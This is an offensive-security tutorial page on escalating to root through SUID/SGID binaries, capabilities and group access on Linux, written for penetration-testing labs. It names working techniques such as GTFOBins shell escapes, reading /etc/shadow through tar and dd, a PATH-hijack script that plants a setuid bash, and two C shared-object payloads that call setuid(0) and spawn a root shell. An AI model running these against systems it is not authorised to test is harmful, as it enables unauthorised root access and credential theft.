SUID and SGID Binary Privilege Escalation
SUID binaries execute as their owner — usually root — regardless of who runs them. SGID binaries execute with their group's privileges. A misconfigured, custom, or GTFOBins-listed binary with these bits set is often a direct path to root. Unknown custom binaries require analysis before exploitation.
Prerequisites Check
Confirm you have a shell and can execute binaries:
Note your username, groups, and kernel version. Groups matter for SGID abuse — see https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation for group-specific escalation paths.
Find SUID and SGID Binaries
Use precise permission flags — -perm -4000 is legacy and can miss edge cases:
Explain command
| / | Search root directory recursively as the starting point. |
| -type f | Match only regular files, excluding directories and symlinks. |
| -perm -u=s | Match files with the SUID bit set for the owner. |
| -perm -g=s | Match files with the SGID bit set for the group. |
| 2>/dev/null | Suppress stderr output by redirecting errors to null. |
| \( -perm -u=s -o -perm -g=s \) | Match files with SUID OR SGID bit set. |
| xargs ls -la | Pass found files to ls for detailed long-format listing. |
Filter to non-standard paths immediately — standard system binaries like passwd, sudo, and ping are expected. Anything in /opt, /usr/local/bin, /home, or custom application directories warrants investigation:
Explain command
| / | Start searching from the root directory recursively. |
| \( | Begin grouped expression for combining multiple conditions. |
| -perm -u=s | Match files with SUID bit set for owner. |
| -o | Logical OR operator between permission conditions. |
| -perm -g=s | Match files with SGID bit set for group. |
| \) | End grouped expression for permission conditions. |
| -type f | Restrict results to regular files only. |
| 2>/dev/null | Suppress stderr error messages (e.g. permission denied). |
| -v | Invert match; exclude lines matching the pattern. |
| -E | Use extended regular expressions in the pattern. |
| ^/(usr/bin|usr/sbin|bin|sbin)/ | Pattern matching common standard binary directories to exclude. |
Check binary type — scripts with SUID set behave differently from ELF binaries:
Check for modified system binaries — if a standard binary has SUID but was tampered with:
GTFOBins — Known Binaries
If the binary appears on https://gtfobins.github.io/, follow its SUID exploitation method directly.
Common high-impact patterns:
Shell spawn — find, vim, awk, perl, python, nmap (older versions):
Explain command
| -exec /bin/bash -p \; | Executes /bin/bash with -p (privileged) for each found file. |
| -p | Starts bash in privileged mode, preserving effective UID/GID. |
| \; | Terminates the -exec action in find. |
| -c ':!/bin/bash -p' | Runs a vim ex command to spawn a privileged bash shell. |
| BEGIN {system("/bin/bash -p")} | awk BEGIN block executes a privileged bash shell at startup. |
| -e 'exec "/bin/bash -p"' | Evaluates a Perl one-liner that exec's a privileged bash shell. |
| -c 'import os; os.execl("/bin/bash", "bash", "-p")' | Runs a Python one-liner that replaces the process with privileged bash. |
| --interactive | Starts nmap in legacy interactive mode (pre-5.20), allowing shell escapes. |
| !sh | Nmap interactive mode command to escape to a shell. |
File read — cp, tar, dd, cat with SUID:
Explain command
| if=/etc/shadow | Specifies /etc/shadow as the input file to read. |
| 2>/dev/null | Redirects stderr to /dev/null to suppress error output. |
| xf | Extract archive from the specified file. |
| /etc/shadow | Target file passed as the archive argument to tar. |
| -I '/bin/sh -p -c "cat 1>&2"' | Uses a shell as the decompression program to execute arbitrary commands. |
| 2>&1 | Redirects stderr to stdout to capture command output. |
Always verify the exact binary version — GTFOBins techniques are version-sensitive.
Auto-Check with SUID3NUM
SUID3NUM automates discovery and GTFOBins matching:
Output separates default system binaries (safe, ignore) from custom binaries (investigate) and lists matching GTFOBins exploitation commands.
Do not use -e — the auto-exploit flag modifies the system and is not permitted on OSCP.
Unknown Custom Binary — Analysis Workflow
This is the most common real scenario. You found a custom SUID binary with an unfamiliar name. Work through this in order:
Step 1 — Quick strings triage:
Explain command
| -iE | Case-insensitive search using extended regular expressions. |
| "system|exec|popen|PATH|chmod|bash|sh" | Regex pattern matching common shell execution and privilege escalation strings. |
Look for unsafe function calls and unqualified command names. If you see system("backup") without a full path, PATH hijacking is likely viable.
Step 2 — Check linked libraries:
Note any missing libraries (not found) — these are shared object injection targets. Note writable library paths.
Step 3 — Check RPATH/RUNPATH:
Explain command
| -d | Displays the dynamic section of an ELF file. |
| -iE | Case-insensitive search using extended regular expressions. |
| "rpath|runpath" | Filters output for RPATH or RUNPATH dynamic entries. |
If RPATH includes a writable directory, shared library injection is viable regardless of LD_PRELOAD restrictions.
Step 4 — Run with strace to see syscalls:
Explain command
| -f | Trace child processes created via fork/clone/vfork calls. |
| 2>&1 | Redirect stderr to stdout so strace output can be piped. |
| -E | Enable extended regex matching in grep. |
| "execve|open|access" | Filter output to show only execve, open, or access syscalls. |
This shows exactly what files and binaries it tries to execute, including missing ones.
Step 5 — Run with ltrace to see library calls:
Explain command
| /path/to/binary | Path to the target binary to trace library calls on. |
| 2>&1 | Redirects stderr (fd 2) to stdout (fd 1) to merge both streams. |
| -50 | Limits head output to the first 50 lines of ltrace output. |
Shows system(), popen(), and other dangerous calls with their arguments.
PATH Hijacking via SUID Binary
Applies when a SUID binary calls commands without absolute paths.
Confirm the binary uses an unqualified command (from strings/strace analysis above), then:
Explain command
| #!/bin/sh | Shebang directive specifying the script interpreter as /bin/sh. |
| chmod u+s /tmp/.rootbash | Sets the SUID bit on the copied bash binary to run as owner (root). |
| chmod +x /tmp/backup | Makes the malicious backup script executable. |
| PATH=/tmp:$PATH | Prepends /tmp to PATH so malicious binary shadows legitimate commands. |
| -p | Runs bash in privileged mode, preserving effective UID (root) from SUID bit. |
This works only if the binary does not reset PATH internally. Verify with strace first.
For a full standalone guide on PATH hijacking see https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking.
Shared Object Injection
Applies when ldd shows a missing library or RPATH points to a writable directory.
Missing library injection:
Explain command
| /path/to/binary | Placeholder path to the target binary executable to inspect. |
| 2>&1 | Redirects stderr to stdout so both streams are piped together. |
| 2>&1 | Redirects stderr to stdout so both streams are piped together. |
/tmp/inject.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
Explain command
| -shared | Produce a shared object (.so) instead of an executable. |
| -fPIC | Generate position-independent code suitable for shared libraries. |
| -nostartfiles | Do not link standard system startup files. |
| -o /tmp/libmissing.so | Write output to the specified file path. |
| /tmp/inject.c | Source file to compile into the shared library. |
Place the .so in the directory the binary searches (identified from strace output) and re-run the SUID binary.
RPATH writable directory injection:
Explain command
| -d | Displays the dynamic section of an ELF binary. |
| -i | Makes the grep search case-insensitive. |
| -ld | Lists directory entries in long format without descending into them. |
LD_PRELOAD via SUID (Rare)
Standard SUID binaries ignore LD_PRELOAD for security. This only applies to custom or legacy programs that do not drop privileges before dlopen():
/tmp/preload.c
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
Explain command
| -shared | Produce a shared object (.so) instead of an executable. |
| -fPIC | Generate position-independent code required for shared libraries. |
| -o /tmp/preload.so | Specify output file path for the compiled shared library. |
| /tmp/preload.c | Source C file to compile into the shared library. |
| LD_PRELOAD=/tmp/preload.so | Force dynamic linker to load specified shared library before all others. |
| /path/to/vulnerable-suid | Target SUID binary to execute with the preloaded library injected. |
For LD_PRELOAD abuse via sudo env_keep, see https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking.
Capabilities — SUID-Like Grants
Capabilities grant fine-grained privileges without the full SUID bit. Check for them separately:
Explain command
| -r | Recursively search for file capabilities starting from the given path. |
| / | Root directory as the starting point for recursive capability search. |
| 2>/dev/null | Redirects stderr to /dev/null to suppress permission error messages. |
High-impact capabilities:
cap_setuid+ep— set UID to 0, immediate rootcap_dac_read_search+ep— read any file, bypass DACcap_sys_ptrace+ep— attach to any process, inject shellcodecap_net_raw+ep— raw socket access, sniff traffic
Exploit cap_setuid on Python:
Exploit cap_dac_read_search on tar:
Explain command
| -x | Extract files from an archive. |
| -f /dev/null | Specifies /dev/null as the archive file to read from. |
| -I '/bin/sh -p -c "cat /etc/shadow 1>&2"' | Uses a shell command as the compression/decompression program, enabling command injection. |
| 2>&1 | Redirects stderr to stdout, capturing injected command output. |
For a full capabilities page see https://hackindex.io/platforms/linux/privilege-escalation/capabilities-abuse.
SGID Binaries and Group Access
SGID binaries run with the permissions of their group. If the group has elevated access:
Notable SGID targets:
Group
shadow— read/etc/shadowGroup
docker— full Docker socket accessGroup
disk— raw disk read/writeGroup
adm— system log access
See https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation for exploitation of each group.
AppArmor — Check Before Exploiting
AppArmor can block SUID exploitation silently. Verify before wasting time:
unconfined— no restrictions, proceedcomplain— logged but not blocked, proceed/usr/bin/binary (enforce)— blocked per profile, read the policy
Look for deny rules targeting the path you plan to exploit.
Related
References
-
SUID exploitation patterns
-
SUID3NUM GitHubgithub.com/Anon-Exploiter/SUID3NUM (opens in new tab)
Auto SUID enumeration and GTFOBins matching
-
AppArmor manualman.freebsd.org/cgi/man.cgi?query=apparmor&sektion=7&manpath=Debian+9.13.0 (opens in new tab)
Profile enforcement behavior
-
SUID and capability exploitation patterns for hundreds of binaries.
Was this helpful?
Your feedback helps improve this page.